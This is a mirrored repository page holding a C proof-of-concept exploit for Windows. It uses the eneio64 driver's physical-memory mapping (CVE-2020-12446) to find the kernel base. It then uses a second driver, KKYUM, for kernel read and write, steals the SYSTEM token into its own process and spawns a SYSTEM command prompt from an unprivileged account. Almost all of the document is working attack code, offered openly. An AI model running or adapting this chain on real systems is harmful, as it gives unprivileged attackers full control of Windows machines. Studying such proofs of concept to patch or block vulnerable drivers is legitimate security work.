mirror of
https://github.com/0xdeadbeefnetwork/KKYUMPoC
synced 2026-09-07 12:55:57 +00:00
185 lines
7.3 KiB
C
185 lines
7.3 KiB
C
// pwn_ene.c - Xacone's KASLR (eneio64 phys, exactly their logic) + our pwn.c chain (KKYUM)
|
|
// zero privileges in, SYSTEM out. _SiCk // afflicted.sh
|
|
// kaslr method: CVE-2020-12446 @ihack4falafel / @Xacone
|
|
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <stdint.h>
|
|
|
|
// ---- theirs: eneio64 (GLCKIo) ----
|
|
#define DEVICE_ENE "\\\\.\\GLCKIo"
|
|
#define IOCTL_MAP 0x80102040
|
|
typedef struct { uint64_t Size, val2, val3, MappingAddress, val5; } INPUTBUF;
|
|
|
|
// ---- ours: original pwn.c ----
|
|
#define IR 0x22265c
|
|
#define IW 0x222658
|
|
#define PIDO 0x1d0
|
|
#define LNKO 0x1d8
|
|
#define TOKO 0x248
|
|
|
|
static HANDLE kd;
|
|
|
|
static int kr(uint32_t pid, uint64_t a, void *b, uint64_t n) {
|
|
struct { uint32_t pid, cnt; struct { uint64_t r, l, s; } op; } rq = { pid, 1, a, (uint64_t)b, n };
|
|
DWORD br;
|
|
return DeviceIoControl(kd, IR, &rq, sizeof rq, &rq, sizeof rq, &br, 0);
|
|
}
|
|
static int kw(uint32_t pid, uint64_t a, const void *b, uint64_t n) {
|
|
struct { uint32_t pid, cnt; struct { uint64_t r, l, s; } op; } rq = { pid, 1, a, (uint64_t)b, n };
|
|
DWORD br;
|
|
return DeviceIoControl(kd, IW, &rq, sizeof rq, &rq, sizeof rq, &br, 0);
|
|
}
|
|
|
|
static uint64_t fexp(uint64_t b, const char *nm) {
|
|
uint8_t h[0x1000];
|
|
uint32_t e, nn, ar, nr, orr, *n32, f;
|
|
uint16_t o;
|
|
char s[64];
|
|
if (!kr(4, b, h, sizeof h)) return 0;
|
|
e = *(uint32_t *)(h + 0x3c);
|
|
e = *(uint32_t *)(h + e + 0x88);
|
|
if (!e || !kr(4, b + e, h, 0x28)) return 0;
|
|
nn = *(uint32_t *)(h + 0x18); ar = *(uint32_t *)(h + 0x1c);
|
|
nr = *(uint32_t *)(h + 0x20); orr = *(uint32_t *)(h + 0x24);
|
|
n32 = malloc(nn * 4);
|
|
if (!kr(4, b + nr, n32, nn * 4)) { free(n32); return 0; }
|
|
for (uint32_t i = 0; i < nn; i++) {
|
|
if (!kr(4, b + n32[i], s, 63)) continue;
|
|
s[63] = 0;
|
|
if (!strcmp(s, nm)) {
|
|
kr(4, b + orr + i * 2, &o, 2);
|
|
kr(4, b + ar + o * 4, &f, 4);
|
|
free(n32);
|
|
return b + f;
|
|
}
|
|
}
|
|
free(n32);
|
|
return 0;
|
|
}
|
|
|
|
// ---- theirs: kaslr_main.cpp logic, exactly ----
|
|
static DWORD_PTR module_entry_point(HMODULE h) {
|
|
uint8_t *b = (uint8_t *)h;
|
|
if (*(uint16_t *)b != 0x5A4D) return 0;
|
|
uint32_t lf = *(uint32_t *)(b + 0x3c);
|
|
if (*(uint32_t *)(b + lf) != 0x00004550) return 0;
|
|
return *(uint32_t *)(b + lf + 0x18 + 0x10);
|
|
}
|
|
|
|
static uint64_t find_nt_base(HANDLE ed) {
|
|
HMODULE h = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
|
|
if (!h) { printf("[-] nt file image\n"); return 0; }
|
|
DWORD_PTR ep = module_entry_point(h);
|
|
printf("[*] ntoskrnl entry point %llx\n", (unsigned long long)ep);
|
|
|
|
MEMORYSTATUSEX mst = { sizeof mst };
|
|
GlobalMemoryStatusEx(&mst);
|
|
INPUTBUF inbuf = {0};
|
|
inbuf.Size = mst.ullTotalPhys - 1;
|
|
DWORD br;
|
|
if (!DeviceIoControl(ed, IOCTL_MAP, &inbuf, sizeof inbuf, &inbuf, sizeof inbuf, &br, 0) || !inbuf.MappingAddress) {
|
|
printf("[-] map\n");
|
|
return 0;
|
|
}
|
|
uint8_t *map = (uint8_t *)inbuf.MappingAddress;
|
|
printf("[*] mapped %llx bytes at %p\n", (unsigned long long)inbuf.Size, map);
|
|
|
|
// their loop, exactly: first 1MB, step 8, low-16 match
|
|
uint64_t found[16];
|
|
int nfound = 0;
|
|
for (uint64_t off = 0; off < 0x100000; off += 8) {
|
|
uint64_t q = *(uint64_t *)(map + off);
|
|
if ((q & 0xFFFF) != (ep & 0xFFFF)) continue;
|
|
uint64_t base = q - ep;
|
|
printf("[*] found entry ptr %llx -> base %llx\n", (unsigned long long)q, (unsigned long long)base);
|
|
int dup = 0;
|
|
for (int i = 0; i < nfound; i++) if (found[i] == base) dup = 1;
|
|
if (!dup && nfound < 16) found[nfound++] = base;
|
|
}
|
|
// majority vote among their hits (their demo prints all; we pick the most seen)
|
|
uint64_t counts[16] = {0};
|
|
for (uint64_t off = 0; off < 0x100000; off += 8) {
|
|
uint64_t q = *(uint64_t *)(map + off);
|
|
if ((q & 0xFFFF) != (ep & 0xFFFF)) continue;
|
|
for (int i = 0; i < nfound; i++) if (found[i] == q - ep) counts[i]++;
|
|
}
|
|
uint64_t best = 0;
|
|
int bestc = 0;
|
|
for (int i = 0; i < nfound; i++)
|
|
if ((int)counts[i] > bestc) { bestc = (int)counts[i]; best = found[i]; }
|
|
return best;
|
|
}
|
|
|
|
int main(void) {
|
|
setvbuf(stdout, NULL, _IONBF, 0);
|
|
printf(" _._ _,-'\"\"`-._\n"
|
|
"(,-.`._,'( |\\`-/|\n"
|
|
" `-.-' \\ )-`( , o o)\n"
|
|
" `- \\`_`\"'- _SiCk // afflicted.sh\n"
|
|
" kaslr method: CVE-2020-12446 @ihack4falafel / @Xacone\n\n");
|
|
|
|
|
|
HANDLE tok; TOKEN_ELEVATION te; DWORD br;
|
|
char usr[128]; DWORD ul = sizeof usr;
|
|
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tok);
|
|
GetTokenInformation(tok, TokenElevation, &te, sizeof te, &br);
|
|
CloseHandle(tok);
|
|
GetUserNameA(usr, &ul);
|
|
printf("[*] running as %s (elevated=%d) - it doesn't matter\n", usr, te.TokenIsElevated);
|
|
|
|
HANDLE ed = CreateFileA(DEVICE_ENE, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
|
|
if (ed == INVALID_HANDLE_VALUE) { printf("[-] GLCKIo %lu\n", GetLastError()); return 1; }
|
|
kd = CreateFileW(L"\\\\.\\KKYUM", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
|
|
if (kd == INVALID_HANDLE_VALUE) { printf("[-] KKYUM %lu\n", GetLastError()); return 1; }
|
|
printf("[+] both devices open, standard token [%s, elevated=%d]\n", usr, te.TokenIsElevated);
|
|
|
|
uint64_t nt = find_nt_base(ed);
|
|
if (!nt) { printf("[-] no base\n"); return 1; }
|
|
printf("[+] nt base %016llx\n", (unsigned long long)nt);
|
|
|
|
// ---- self-swap (proven architecture), spawn AFTER with writable buffer ----
|
|
uint64_t pisp = fexp(nt, "PsInitialSystemProcess"), sys = 0, st = 0, mine = 0, chk = 0;
|
|
if (!pisp || !kr(4, pisp, &sys, 8) || !sys) { printf("[-] sys eproc\n"); return 1; }
|
|
printf("[+] sysEproc %016llx - Mew\n", (unsigned long long)sys);
|
|
kr(4, sys + TOKO, &st, 8);
|
|
|
|
for (uint64_t cur = sys, fl = 0, p = 0, i = 0; i < 4096; i++) {
|
|
if (!kr(4, cur + LNKO, &fl, 8)) break;
|
|
cur = fl - LNKO;
|
|
if (cur == sys) break;
|
|
if (kr(4, cur + PIDO, &p, 8) && p == GetCurrentProcessId()) { mine = cur; break; }
|
|
}
|
|
if (!mine) { printf("[-] our eproc\n"); return 1; }
|
|
|
|
uint64_t ot = 0;
|
|
kr(4, mine + TOKO, &ot, 8);
|
|
if (!kw(4, mine + TOKO, &st, 8) || !kr(4, mine + TOKO, &chk, 8) || chk != st) { printf("[-] swap\n"); return 1; }
|
|
printf("[+] pid %lu eprocess -> %016llx - Mew\n", GetCurrentProcessId(), (unsigned long long)mine);
|
|
printf("[+] tok %016llx -> %016llx - Meow\n", (unsigned long long)ot, (unsigned long long)st);
|
|
|
|
FILE *f = fopen("C:\\Users\\Public\\unpriv_proof.txt", "w");
|
|
if (f) {
|
|
fprintf(f, "unelevated SYSTEM: eneio64 phys KASLR + KKYUM self token swap\n");
|
|
fprintf(f, "nt base = %016llx\n", (unsigned long long)nt);
|
|
fprintf(f, "sysEproc = %016llx\n", (unsigned long long)sys);
|
|
fprintf(f, "myEproc = %016llx (pid %lu)\n", (unsigned long long)mine, GetCurrentProcessId());
|
|
fclose(f);
|
|
}
|
|
|
|
STARTUPINFOW si = { sizeof si };
|
|
PROCESS_INFORMATION pi;
|
|
static WCHAR cl[128];
|
|
wcscpy(cl, L"cmd.exe /k title UNELEVATED-SYSTEM && whoami && ver");
|
|
if (CreateProcessW(NULL, cl, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
|
|
printf("[+] SYSTEM cmd [pid %lu].\n", pi.dwProcessId);
|
|
CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
|
|
} else printf("[-] spawn %lu\n", GetLastError());
|
|
|
|
Sleep(2000);
|
|
kw(4, mine + TOKO, &ot, 8);
|
|
printf("[+] Token restored! <3.\n[*] Pop goes the shell.\n");
|
|
return 0;
|
|
}
|
|
|